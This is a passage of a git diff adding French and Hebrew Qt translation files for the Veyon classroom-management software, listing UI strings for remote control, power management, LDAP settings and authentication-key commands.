[<SUBNET>] + + + + + Network object directory which automatically discovers computers in the network + Répertoire d'objets réseau qui détecte automatiquement les ordinateurs du réseau + + + Network discovery (scan network for Veyon clients) + Découverte du réseau (analyse du réseau pour les clients Veyon) + + + Commands for managing the network discovery directory + Commandes de gestion de la découverte réseau + + + + NetworkObjectTreeModel + + Room/Computer + Salle / Ordinateur + + + + PasswordDialog + + Username + Identifiant + + + Password + Mot de passe + + + Veyon Logon + Connexion Veyon + + + Authentication error + Erreur d'authentification + + + Logon failed with given username and password. Please try again! + La connexion a échoué avec le nom d'utilisateur et le mot de passe donné. Veuillez réessayer! + + + Please enter your username and password in order to access computers. + Veuillez entrer votre identifiant et votre mot de passe afin d'accéder aux ordinateurs. + + + + PowerControlFeaturePlugin + + Power on + Allumer + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + Cliquez sur ce bouton pour démarrer tous les ordinateurs. De cette façon, vous n'avez pas à les allumer tous individuellement. + + + Reboot + Redémarrer + + + Click this button to reboot all computers. + Cliquer sur ce bouton pour redémarrer tous les ordinateurs. + + + Power down + Éteindre + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + Cliquez sur ce bouton pour éteindre tous les ordinateurs. De cette façon, vous n'avez pas à le faire à la main pour chacun. + + + Power on/down or reboot a computer + Allumer / Éteindre ou redémarrer un ordinateur + + + Confirm reboot + Confirmer le redémarrage + + + Confirm power down + Confirmer l'extinction + + + Do you really want to reboot the selected computers? + Souhaitez-vous réellement redémarrer les ordinateurs sélectionnés ? + + + Do you really want to power down the selected computer? + Souhaitez-vous réellement éteindre les ordinateurs sélectionnés ? + + + Power on a computer via Wake-on-LAN (WOL) + Allumer un ordinateur via Wake-on-LAN (WOL) + + + MAC ADDRESS + ADRESSE MAC + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + Cette commande diffuse un paquet Wake-on-LAN (WOL) sur le réseau afin d'allumer l'ordinateur correspondant à l'adresse MAC donnée. + + + Please specify the command to display help for! + Veuillez spécifier la commande pour afficher l'aide correspondante ! + + + Invalid MAC address specified! + L' adresse MAC spécifiée est invalide! + + + Commands for controlling power status of computers + Commandes pour contrôler l'état d'allumage des ordinateurs + + + + RemoteAccessFeaturePlugin + + Remote view + Vue à distance + + + Open a remote view for a computer without interaction. + Ouvre une vue à distance de l'ordinateur sans interaction. + + + Remote control + Contrôle à distance + + + Open a remote control window for a computer. + Ouvre une fenêtre de contrôle à distance pour un ordinateur. + + + Remote access + Accès à distance + + + Remote view or control a computer + Vue à distance ou contrôle de l'ordinateur + + + Please enter the hostname or IP address of the computer to access: + Pour accéder, veuillez entrer le nom de l'hôte ou l'adresse IP de l'ordinateur: + + + Show help about command + Afficher la commande aide et à propos + + + + RemoteAccessWidget + + %1 - %2 Remote Access + %1 - %2 Accès distant + + + + RemoteAccessWidgetToolBar + + View only + Voir seulement + + + Remote control + Contrôle à distance + + + Send shortcut + Envoyer un raccourci + + + Fullscreen + Plein écran + + + Window + Fenêtre + + + Quit + Quitter + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Menu + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + Connexion à %1... + + + Connected. + Connecté. + + + Screenshot + Capture d'écran + + + + RoomSelectionDialog + + Room selection + Sélection de la salle + + + enter search filter... + entrer le filtre de recherche + + + + Routing + + Control internet access by modifying routing table + Contrôle de l'accès internet par modification de la table de routage + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + Supprimer le routage par défaut pour bloquer internet + + + Add custom route to block internet + Ajouter un routage personnalisé pour bloquer internet + + + Destination + Destination + + + Gateway + Passerelle + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + Veuillez entrer les programmes ou les commandes à exécuter sur les ordinateurs sélectionnés. Vous pouvez séparer vos différents programmes/commandes ligne par ligne. + + + Run programs + Exécuter des programmes + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + ex: "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + Verrouiller + + + Unlock + Déverrouiller + + + Lock screen and input devices of a computer + Verrouiller l'écran et les périphériques d'entrée d'un ordinateur + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + Pour attirer toute l'attention de tous les utilisateurs, vous pouvez verrouiller les ordinateurs en utilisant ce bouton. Dans ce mode, tous les périphériques d'entrée sont verrouillés et l'écran est noir. + + + + Screenshot + + unknown + inconnu + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + Impossible de prendre une capture d'écran car le répertoire %1 n'existe pas et ne peut pas être créé. + + + Screenshot + Capture d'écran + + + + ScreenshotFeaturePlugin + + Screenshot + Capture d'écran + + + Use this function to take a screenshot of selected computers. + Utiliser cette fonction pour prendre une capture d'écran des ordinateurs sélectionnés. + + + Screenshots taken + Captures d'écrans réalisées + + + Screenshot of %1 computer have been taken successfully. + La capture d'écran de l'ordinateur %1 a été réalisée avec succès. + + + Take screenshots of computers and save them locally. + Prend des captures d'écran des ordinateurs et les enregistre localement. + + + + ScreenshotManagementView + + User: + Utilisateur: + + + Date: + Date: + + + Time: + Heure: + + + Show + Affiche + + + Delete + Supprimer + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + Toutes les captures d'écrans que vous avez effectuées sont listé ici. Vous pouvez prendre des captures d'écran en cliquant sur "capture d'écran" dans le menu contextuel d'un ordinateur. Les captures d'écran peuvent être gérées en utilisant les boutons ci-dessous. + + + Computer: + Ordinateur: + + + + ServiceConfigurationPage + + General + Général + + + Autostart + Démarrage automatique + + + Hide tray icon + Cacher l’icône de la barre + + + Start service + Démarrer le service + + + Stopped + Arrêté + + + Stop service + Arrêter le service + + + State: + État : + + + Enable SAS generation by software (Ctrl+Alt+Del) + Activer la génération SAS de manière logicielle (Ctrl+Alt+Suppr) + + + Network + Réseau + + + Demo server port + Port du serveur de démonstration + + + Enable firewall exception + Autoriser une exception pour le pare-feu + + + Allow connections from localhost only + Autoriser les connexions seulement à partir de l'hôte local + + + Internal VNC server port + Port du serveur interne VNC + + + VNC server + Serveur VNC + + + Plugin: + Extension: + + + Restart %1 Service + Redémarrage du service %1 + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + Tous les paramètres ont été sauvegardés avec succès. Afin de prendre effet, le service %1 doit être redémarré. Souhaitez vous le faire maintenant ? + + + Running + En cours + + + Feature manager port + Port du gestionnaire de fonction + + + Primary service port + Port de service primaire + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + L'activation de cette option, commandera au service de lancer un processus serveur pour chaque session interactive sur un ordinateur. +Généralement, ceci est nécessaire pour prendre en charge les serveurs de terminaux. + + + Multi session support (experimental) + Support multi-session (expérimental) + + + Show notification on remote connection + Afficher la notification sur la connexion à distance + + + Show notification on failed authentication attempts + Afficher la notification en cas d'échec des tentatives d'authentification + + + + ServiceControl + + Starting service %1 + Démarrage du service %1 + + + Stopping service %1 + Arrêt du service %1 + + + Registering service %1 + Inscription du service %1 + + + Unregistering service %1 + Déinscription du service %1 + + + Service control + Contrôle du service + + + + ServiceControlPlugin + + Service is running + Le service fonctionne + + + Service is not running + Le service ne fonctionne pas + + + Configure and control Veyon service + Configure et contrôle le service Veyon + + + Register Veyon Service + Inscription du service Veyon + + + Unregister Veyon Service + Désinscription du service Veyon + + + Start Veyon Service + Démarrer le service Veyon + + + Stop Veyon Service + Arrêter le service Veyon + + + Restart Veyon Service + Redémarrer le service Veyon + + + Query status of Veyon Service + Interrogation du statut du service Veyon + + + Commands for configuring and controlling Veyon Service + Commandes pour configurer et contrôler le Service Veyon + + + + ShellCommandLinePlugin + + Run command file + Lance un fichier de commande + + + File "%1" does not exist! + Le fichier "%1" n'existe pas. + + + Interactive shell and script execution for Veyon Control + Terminal interactif et script d'exécution pour le Contrôle de Veyon + + + Commands for shell functionalities + Commandes pour les fonctionnalités du terminal + + + + SystemTrayIcon + + System tray icon + Icône de la zone de notification + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + Groupes d'utilisateurs de processus pour les groupes d'utilisateurs du système + + + Default (system user groups) + Défaut (Groupes utilisateur système) + + + + TextMessageDialog + + Send text message + Envoyer un message écrit + + + Use the field below to type your message which will be sent to all selected users. + Utilisez le champ ci-dessous pour saisir votre message, il sera envoyé à tous les utilisateurs sélectionnés. + + + + TextMessageFeaturePlugin + + Text message + Message + + + Use this function to send a text message to all users e.g. to assign them new tasks. + Utiliser cette fonction pour envoyer un message à tous les utilisateurs (ex: pour leur donner de nouvelles tâches à effectuer). + + + Message from teacher + Message de la part de l'enseignant + + + Send a message to a user + Envoyer un message à un utilisateur + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Activer la capture des fenêtres semi-transparentes + + + Poll full screen (leave this enabled per default) + Sondage en plein écran (laissez activé par défaut) + + + Low accuracy (turbo mode) + Résolution faible (mode turbo) + + + Builtin UltraVNC server configuration + Configuration du serveur intégré UltraVNC + + + Enable multi monitor support + Activer le support multi moniteur + + + Enable Desktop Duplication Engine on Windows 8 and newer + Activer le processus de duplication du bureau sur Windows 8 ou supérieur + + + + UserConfig + + No write access + Pas d'accès en écriture + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + Impossible de sauvegarder vos paramétrages! Veuillez vérifier le chemin du fichier de configuration utilisateur en utilisant la console de gestion %1 + + + + UserSessionControl + + User session control + Contrôle de session utilisateur + + + Click this button to logout users from all computers. + Cliquer sur ce bouton pour déconnecter les utilisateurs de tous les ordinateurs. + + + Confirm user logout + Confirmer la déconnexion utilisateur + + + Do you really want to logout the selected users? + Souhaitez-vous réellement déconnecter les utilisateurs sélectionnés ? + + + Logout + Déconnexion + + + + VeyonCore + + [OK] + [OK] + + + [FAIL] + [ERREUR] + + + Invalid command! + Commande non valide! + + + Available commands: + Commandes disponibles: + + + Invalid arguments given + Les arguments donnés ne sont pas valide + + + Not enough arguments given - use "%1 help" for more information + Pas assez d'arguments donnés - Utiliser "l'aide %1" pour plus d'information + + + Unknown result! + Résultat inconnu! + + + Available modules: + Modules disponibles: + + + No module specified or module not found - available modules are: + Aucun module spécifié ou module non trouvé - les modules disponibles sont: + + + Plugin not licensed + Greffon sans licence + + + INFO + INFO + + + ERROR + ERREUR + + + licensed for + sous licence pour + + + + VeyonServiceControl + + Veyon Service + Service Veyon + + + + VncView + + Establishing connection to %1 ... + Établissement de la connexion à %1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + Extension implémentant les fonctions abstraites pour le système Windows + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + WindowsServiceControl: Le service "%1" est déjà installé. + + + WindowsServiceControl: the service "%1" could not be installed. + WindowsServiceControl: Le service "%1" n'a pas pu être installé. + + + WindowsServiceControl: the service "%1" has been installed successfully. + WindowsServiceControl: Le service "%1" a été installé avec succès. + + + WindowsServiceControl: the service "%1" could not be uninstalled. + WindowsServiceControl: Le service "%1" n'a pas pu être désinstallé. + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + WindowsServiceControl: Le service "%1" a été désinstallé avec succès. + + + WindowsServiceControl: the start type of service "%1" could not be changed. + WindowsServiceControl: Le type de démarrage du service "%1" ne peut pas être changé. + + + WindowsServiceControl: service "%1" could not be found. + WindowsServiceControl: Le service "%1" est introuvable. + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + Configuration du serveur intégré x11vnc + + + Custom x11vnc parameters: + Paramètres personnalisés x11vnc: + + + Do not use X Damage extension + N'utilise pas l'extension X Damage + + + \ No newline at end of file diff --git a/translations/he.ts b/translations/he.ts new file mode 100644 index 0000000..821795c --- /dev/null +++ b/translations/he.ts @@ -0,0 +1,3815 @@ + + + AboutDialog + + About + אודות + + + Translation + תרגום + + + License + רישיון + + + About Veyon + אודות Veyon + + + Contributors + תורמים + + + Version: + גרסה: + + + Website: + אתר אינטרנט: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + + + + About %1 %2 + + + + Support Veyon project with a donation + + + + + AccessControlPage + + Computer access control + + + + Grant access to every authenticated user (default) + + + + Test + + + + Restrict access to members of certain user groups + + + + Process access control rules + + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + + Authorized user groups + + + + All groups + כל הקבוצות + + + ... + ... + + + Access control rules + כללי בקרת גישה + + + Add access control rule + הוסף כלל בקרת גישה + + + Remove access control rule + הסר כלל בקרת גישה + + + Move selected rule down + + + + Move selected rule up + + + + Edit selected rule + + + + Enter username + הכנס שם משתמש + + + Please enter a user login name whose access permissions to test: + + + + Access allowed + גישה מאופשרת + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + גישה נדחתה + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + ערוך כלל בקרת גישה + + + General + + + + enter a short name for the rule here + + + + Rule name: + + + + enter a description for the rule here + + + + Rule description: + + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + + + + is member of group + + + + is located in room + + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + + + + Allow access + אפשר גישה + + + Deny access + חסום גישה + + + Ask logged on user for permission + + + + None (rule disabled) + + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + + + + Local computer + מחשב מקומי + + + Always process rule and ignore conditions + + + + No user logged on + אין אף משתמש מחובר + + + Accessing computer is located in the same room as local computer + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + + + + Accessing user: + + + + Local computer: + מחשב מקומי: + + + Accessing computer: + מתחבר למחשב: + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + משתמש מקומי: + + + Connected users: + משתמשים מחוברים: + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + + + + Key file directories + + + + Public key file base directory + + + + Private key file base directory + + + + ... + ... + + + Available authentication keys + + + + Create key pair + + + + Delete key + + + + Import key + + + + Export key + + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + קבוצת גישה + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + שם + + + Type + סוג + + + Access group + קבוצת גישה + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + חדרים ומחשבים + + + Rooms + חדרים + + + Computers + מחשבים + + + Name + שם + + + Host address/IP + שם מחשב / IP + + + MAC address + כתובת MAC + + + Add new room + הוסף חדר חדש + + + Remove selected room + הסר חדרים שנבחרו + + + Add new computer + הוסף מחשב חדש + + + Remove selected computer + הסר מחשבים שנבחרו + + + New room + חדר חדש + + + New computer + מחשב חדש + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + הצג עזרה עבור פקודה מסויימת + + + Add a room or computer + הוסף חדר או מחשב + + + Clear all rooms and computers + נקה את כל החדרים והמחשבים + + + Dump all or individual rooms and computers + + + + List all rooms and computers + הצג את כל החדרים והמחשבים + + + Remove a room or computer + הסר חדר או מחשב + + + Import objects from given file + יבוא אובייקטים מקובץ נתון + + + Export objects to given file + יצוא אובייקטים לקובץ נתון + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + סוג + + + Name + שם + + + Host address + + + + MAC address + כתובות MAC + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + חדר + + + Computer + מחשב + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + + + + Host/IP address: %1 + + + + Active features: %1 + + + + Online and connected + + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + מנותק + + + No user logged on + אין אף משתמש מחובר + + + Logged on user: %1 + מחובר בתור: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + שגיאה באימות + + + Remote access + גישה מרחוק + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + + + + Add room + הוסף חדר + + + Save computer/user list + שמור רשימת מחשבים / משתמשים + + + Select output filename + + + + CSV files (*.csv) + קובץ CSV (*.csv) + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + + + + + ComputerManager + + User + משתמש + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + + + + + DemoConfigurationPage + + Demo server + + + + Tunables + + + + ms + + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + + + + Update interval + + + + s + + + + + DemoFeaturePlugin + + Fullscreen demo + הדגמה במסך מלא + + + Stop demo + + + + Window demo + חלון הדגמה + + + Give a demonstration by screen broadcasting + + + + Demo server + + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + + + + Never for this session + + + + Always for this session + + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + שם + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + הפעל תוכנית + + + Open website + פתח אתר אינטרנט + + + Click this button to open a website on all computers. + + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + + + + Password: + סיסמה: + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + ממשק משתמש + + + Language: + שפה: + + + Use system language setting + השתמש בשפת המערכת + + + Veyon + + + + Logging + + + + Log file directory + + + + ... + ... + + + Log level + + + + Nothing + + + + Only critical messages + רק הודעות קריטיות + + + Errors and critical messages + + + + Warnings and errors + + + + Information, warnings and errors + + + + Debug messages and everything else + + + + Limit log file size + + + + Clear all log files + + + + Log to standard error output + + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + + + + All log files were cleared successfully. + + + + Error + + + + Could not remove all log files. + + + + MB + + + + Rotate log files + + + + x + + + + seconds + שניות + + + Write to logging system of operating system + + + + Authentication + + + + Method: + + + + Logon authentication + + + + Key file authentication + + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + חסום גישה לאינטרנט + + + Allow access to the internet + אפשר גישה לאינטרנט + + + Show help about command + + + + Block internet + חסום אינטרנט + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + הגדרות בסיסיות + + + General + + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + הגדרות מתקדמות + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + הכנס שם משתמש + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + + + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + הכנס שם מחשב + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + משתמשים + + + user groups + קבוצות משתמשים + + + computer groups + קבוצות מחשבים + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + משתמש לא נמצא + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + מחשבים + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 